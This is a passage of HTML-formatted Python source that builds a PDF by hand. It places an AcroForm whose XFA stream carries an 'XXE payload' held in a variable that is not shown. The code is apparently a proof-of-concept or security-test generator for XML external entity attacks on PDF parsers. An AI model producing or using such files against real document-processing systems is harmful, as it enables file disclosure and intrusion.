&lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;&amp;lt;&amp;lt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;42&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;/Type /Pages&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;43&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;/Kids [4 0 R]&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;44&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;/Count 1&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;45&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;&amp;gt;&amp;gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;46&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;endobj&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;47&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;48&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# 4. 对象3: AcroForm (交互式表单 - 包含XFA)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;49&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;3 0 obj&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;50&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;&amp;lt;&amp;lt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;51&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;/Fields []&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;52&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;/XFA 5 0 R&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;53&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;&amp;gt;&amp;gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;54&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;endobj&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;55&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;56&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# 5. 对象4: Page (页面内容)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;57&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;4 0 obj&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;58&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;&amp;lt;&amp;lt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;59&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;/Type /Page&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;60&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;/Parent 2 0 R&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;61&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;/MediaBox [0 0 612 792]&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;62&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;/Contents 6 0 R&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;63&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;/Resources &amp;lt;&amp;lt; &amp;gt;&amp;gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;64&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;&amp;gt;&amp;gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;65&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;endobj&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;66&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;67&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# 6. 对象5: XFA流 (包含XXE payload)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;68&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;xfa_bytes &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; xxe_payload.&lt;/span&gt;&lt;span&gt;encode&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;utf-8&apos;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;69&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;5 0 obj&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;70&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;&amp;lt;&amp;lt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;71&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;/Length &quot;&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;str&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;&lt;span&gt;(xfa_bytes)).&lt;/span&gt;&lt;span&gt;encode&lt;/span&gt;&lt;span&gt;())&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;72&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;&amp;gt;&amp;gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;73&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;stream&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;74&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(xfa_bytes)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;75&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;endstream&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;76&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;endobj&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;77&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;78&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# 7. 对象6: 页面内容流&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;79&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;page_content &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;BT /F1 12 Tf 100 700 Td (Test PDF with XFA) Tj ET&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;80&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;6 0 obj&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;81&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;&amp;lt;&amp;lt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;82&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;/Length &quot;&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;str&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;&lt;span&gt;(page_content)).&lt;/span&gt;&lt;span&gt;encode&lt;/span&gt;&lt;span&gt;())&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;83&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;&amp;gt;&amp;gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;84&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;stream&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;85&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(page_content)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;86&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;endstream&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;87&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;endobj&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;88&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;89&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# 8. xref表&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;90&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;body &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;join&lt;/span&gt;&lt;span&gt;(pdf_content)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;91&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;xref_offset &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;(body)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;92&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;93&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;xref &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;xref&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;0 7&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;94&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;xref &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;0000000000 65535 f &lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;95&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;xref &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;0000000010 00000 n &lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;96&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;xref &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;0000000100 00000 n &lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;97&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;xref &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;0000000200 00000 n &lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;98&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;xref &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;0000000300 00000 n &lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;99&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;xref &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;0000000400 00000 n &lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;100&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;xref &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;0000000500 00000 n &lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;101&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;102&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# 9. trailer&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;103&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;trailer &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;trailer&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;/Size 7&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;/Root 1 0 R&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;104&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;trailer &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; 